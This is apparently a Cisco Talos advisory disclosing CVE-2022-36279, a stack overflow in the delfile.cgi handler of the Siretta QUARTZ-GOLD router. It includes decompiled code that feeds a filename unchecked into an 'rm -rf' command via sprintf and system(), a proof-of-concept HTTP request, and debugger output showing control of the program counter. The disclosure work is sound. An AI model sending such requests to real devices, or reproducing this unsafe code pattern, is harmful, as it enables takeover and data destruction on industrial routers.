CVE-2022-36279
A stack-based buffer overflow vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Siretta QUARTZ-GOLD G5.0.1.5-210720-141020
QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/
7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.
The QUARTZ-GOLD router has an web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.
Following the API to delete a previously uploaded file:
void delfile.cgi(void)
{
[...]
[... calculate the value of the base_folder variable ...]
_filename_param = (char *)webcgi_safeget("_filename"); [1]
filename_ = "";
if (_filename_param != (char *)0x0) {
filename_ = _filename_param;
}
if (*filename_ != '\0') {
sprintf(command_buff,"rm -rf %s/%s",base_folder,filename_); [2]
system(command_buff);
}
[...]
}
The delfile.cgi
expects one parameter called _filename
that represents the filename of the desired file to be deleted. At [1]
the uploaded parameter is taken and used at [2]
. The function used at [2]
is a sprintf
, which does not take into consideration the size of the buffer. If the file name, provided through the _filename
parameter, is longer than a certain length, the instruction at [2]
would cause a stack-based buffer overflow that could lead to remote code execution.
$r0 : 0x1
$r1 : 0x1
$r2 : 0x0
$r3 : 0x0
$r4 : 0x61616266 ("fbaa"?)
$r5 : 0x61616366 ("fcaa"?)
$r6 : 0x243
$r7 : 0x1
$r8 : 0x0
$r9 : 0x0001e66e → "delfile.cgi"
$r10 : 0x0001dbdc → 0x0001e66e → "delfile.cgi"
$r11 : 0x7ea5b784 → "admin"
$r12 : 0x2ae4773c → 0x2ae33ac4 → <_pthread_cleanup_pop_restore+0> push {r3, lr}
$sp : 0x7ea59070 → "feaaffaafgaafhaafiaafjaaf"
$lr : 0x2ae2db30 → <free+492> pop {r0, r1, r2, r3, r4, r5, r6, pc}
$pc : 0x61616464 ("ddaa"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
──── stack ────
0x7ea59070│+0x0000: "feaaffaafgaafhaafiaafjaaf" ← $sp
0x7ea59074│+0x0004: "ffaafgaafhaafiaafjaaf"
0x7ea59078│+0x0008: "fgaafhaafiaafjaaf"
0x7ea5907c│+0x000c: "fhaafiaafjaaf"
0x7ea59080│+0x0010: "fiaafjaaf"
0x7ea59084│+0x0014: "fjaaf"
0x7ea59088│+0x0018: 0x312f0066 ("f"?)
0x7ea5908c│+0x001c: ".1\r\n"
──── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616464
──── threads ────
[#0] Id 1, Name: "httpd", stopped 0x61616464 in ?? (), reason: SIGSEGV
Sending a request like the following:
POST /delfile.cgi HTTP/1.1
Host: 192.168.0.1
Authorization: Basic <a valid basic auth value>
Connection: close
Content-Length: 579
_filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaaf&_http_id=<the correct tid>
The status at the return address of the delfile.cgi
function would be:
$r0 : 0x1
$r1 : 0x1
$r2 : 0x0
$r3 : 0x0
$r4 : 0x00019369 → 0x6e6f4300
$r5 : 0x0002272b → "/jffs"
$r6 : 0x243
$r7 : 0x1
$r8 : 0x0
$r9 : 0x0001e66e → "delfile.cgi"
$r10 : 0x0001dbdc → 0x0001e66e → "delfile.cgi"
$r11 : 0x7ea5b784 → "admin"
$r12 : 0x2ae4773c → 0x2ae33ac4 → <_pthread_cleanup_pop_restore+0> push {r3, lr}
$sp : 0x7ea59064 → "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf"
$lr : 0x2ae2db30 → <free+492> pop {r0, r1, r2, r3, r4, r5, r6, pc}
$pc : 0x0000fa48 → pop {r4, r5, pc}
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ea59064│+0x0000: "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf" ← $sp
0x7ea59068│+0x0004: "fcaafdaafeaaffaafgaafhaafiaafjaaf"
0x7ea5906c│+0x0008: "fdaafeaaffaafgaafhaafiaafjaaf"
0x7ea59070│+0x000c: "feaaffaafgaafhaafiaafjaaf"
0x7ea59074│+0x0010: "ffaafgaafhaafiaafjaaf"
0x7ea59078│+0x0014: "fgaafhaafiaafjaaf"
0x7ea5907c│+0x0018: "fhaafiaafjaaf"
0x7ea59080│+0x001c: "fiaafjaaf"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0xfa3c mov r0, r4
0xfa40 bl 0xbae4
0xfa44 add sp, sp, #516 ; 0x204
→ 0xfa48 pop {r4, r5, pc}
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0xfa48 in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xfa48 → pop {r4, r5, pc}
[#1] 0x2ae2db30 → free()
So the next instruction will populate the pc
with the third dword contained in the stack, so:
gef➤ hexdump dword $sp
0x7ea59064│+0x0000 0x61616266
0x7ea59068│+0x0004 0x61616366
0x7ea5906c│+0x0008 0x61616466
After the pop the pc
will contain the 0x61616466
value.
2022-10-14 - Initial Vendor Contact
2022-10-20 - Vendor Disclosure
2022-11-24 - Vendor Patch Release
2023-01-26 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.